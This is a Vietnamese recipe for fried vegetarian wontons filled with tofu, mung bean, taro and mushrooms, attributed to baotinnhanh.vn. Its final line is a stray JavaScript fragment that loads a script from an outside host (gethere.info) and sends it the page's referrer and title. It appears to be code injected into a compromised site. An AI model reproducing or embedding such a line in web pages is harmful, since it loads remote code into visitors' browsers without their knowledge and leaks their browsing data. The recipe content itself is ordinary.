Lớp hoành thánh chiên bên ngoài vàng giòn, cắn vào bên trong thì nhân thơm nồng, vị béo béo, bùi bùi lạ miệng.
Đây chắc hẳn sẽ là món ngon cho các bé cũng như các thành viên khác trong gia đình ngày hôm nay.
Nguyên liệu:
– Vỏ hoành thánh: 40 miếng
– Củ năng: 5 củ
– Đậu xanh không vỏ hấp chín: 1/2 chén
– Khoai cau hấp chín: 100g
– Nấm mèo: 1 tai vừa
– Nấm hương: 5 tai
– Đậu hũ trắng: 1 miếng nhỏ
– Cọng ngò rí băm, ớt sừng băm
– Tiêu, đường, dầu ăn, dầu mè, tương xí muội
– Xà lách xoong
– Hạt nêm từ nấm hương và hạt sen bổ sung kẽm
– Nước tương
Chế biến:
– Đậu hũ luộc chín, vắt ráo, bóp nhuyễn, quết cho dai. Vắt ráo và quết đậu hũ non để nhân có độ kết dính tốt.
– Nấm mèo, nấm hương ngâm nở, cắt nhuyễn. Củ năng cắt sợi.
– Chiên giòn 2 lá hoành thánh, bóp nhỏ.
– Trộn nhân gồm: đậu xanh, đậu hũ, khoai cau, nấm mèo, nấm hương, củ năng, lá hoành thánh chiên, 1/2M cọng ngò, 1/3M tiêu, 1/2M đường, 1M hạt nêm từ nấm hương và hạt sen, 1/2M dầu mè và 1M nước tương. Quết nhân cho dai.
– Cho một ít nhân vào vỏ hoành thánh, túm lại, dán mí với một ít nước. Dùng nước để dán mí hoành thánh khi tạo hình để khi chiên không bị bung ra.
– Đun nóng dầu ăn, chiên hoành thánh chín vàng giòn, vớt ra để ráo dầu.
– Xếp hoành thánh ra dĩa, bày chung với xà lách xoong. Khi ăn chấm kèm tương xí muội.
Theo baotinnhanh.vn
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
